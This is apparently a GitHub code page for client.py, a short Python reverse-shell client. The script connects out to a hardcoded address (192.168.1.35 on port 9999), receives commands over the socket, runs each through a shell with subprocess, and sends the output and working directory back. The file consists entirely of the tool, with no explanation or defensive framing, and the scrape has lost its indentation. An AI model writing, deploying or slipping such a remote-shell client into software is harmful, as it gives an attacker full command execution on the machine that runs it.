-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
39 lines (32 loc) · 955 Bytes
/
Copy pathclient.py
File metadata and controls
39 lines (32 loc) · 955 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import os
import subprocess
s = socket.socket()
host = "192.168.1.35"
port = 9999
s.connect((host, port))
init = True
while True:
if init:
currentWD = os.getcwd() + "> "
s.send(str.encode(currentWD))
init = False
data = s.recv(1024)
if data[:2].decode("utf-8") == "cd" and len(data.decode("utf-8").rstrip()) > 3:
try:
os.chdir(data[3:].decode("utf-8"))
except FileNotFoundError as ferror:
print(ferror)
if len(data) > 0:
cmd = subprocess.Popen(
data[:].decode("utf-8"),
shell=True,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE,
)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte, "utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)